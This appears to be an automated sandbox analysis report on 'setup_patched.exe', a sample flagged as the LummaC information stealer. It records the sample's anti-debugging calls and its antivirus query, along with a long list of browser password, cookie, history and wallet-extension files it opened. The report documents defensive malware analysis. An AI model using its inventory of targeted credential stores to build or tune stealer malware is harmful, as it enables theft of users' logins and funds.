Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511825353.0000000003608000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522085345.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1611941239.000000000062D000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1513846000.0000000000671000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522658238.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1494302120.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1535255295.0000000000672000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522085345.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1513846000.0000000000671000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522658238.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1494302120.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1535255295.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1491230799.0000000000674000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs@
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: setup_patched.exe, 00000000.00000003.1511971070.0000000003553000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\setup_patched.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_3_0214B2D0 LdrInitializeThunk,

0_3_0214B2D0

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_00452D96 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00452D96

Source: C:\Users\user\Desktop\setup_patched.exe

0_2_0040E260

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_0045EABA VirtualQuery,GetModuleFileNameW,GetPdbDll,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,

0_2_0045EABA

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_0045858A SetUnhandledExceptionFilter,	0_2_0045858A
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00452D96 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00452D96
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00464F49 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00464F49
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: 0_2_00451199 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00451199

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_0046E51E cpuid

0_2_0046E51E

Source: C:\Users\user\Desktop\setup_patched.exe	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_00472154
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: EnumSystemLocalesA,	0_2_00472215
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0047223F
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	0_2_004722E0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	0_2_0047029E
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_004722A4
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	0_2_00470522
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoA,	0_2_0045E53D
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_004707E6
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,_malloc,GetLocaleInfoA,MultiByteToWideChar,__freea,	0_2_0046EB95
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: __crtGetLocaleInfoW_stat,	0_2_0046ECD0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	0_2_0046ED0B
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: __crtGetLocaleInfoA_stat,	0_2_0046EE48
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: lstrcpyW,lstrcpyW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0040CFC0
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	0_2_0047D202
Source: C:\Users\user\Desktop\setup_patched.exe	Code function: GetLocaleInfoA,	0_2_004795D8

Source: C:\Users\user\Desktop\setup_patched.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_00420C40 GetFileType,SetFilePointer,GetLocalTime,SystemTimeToFileTime,FileTimeToDosDateTime,@_RTC_CheckStackVars@8,

0_2_00420C40

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_00450ABA GetStartupInfoW,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__ioinit,__amsg_exit,___crtGetCommandLineW,___crtGetEnvironmentStringsW,__wsetargv,__amsg_exit,__wsetenvp,__amsg_exit,__cinit,__amsg_exit,__wwincmdln,

0_2_00450ABA

Source: C:\Users\user\Desktop\setup_patched.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: setup_patched.exe, 00000000.00000003.1572594250.0000000000653000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000063F000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.0000000000656000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\setup_patched.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
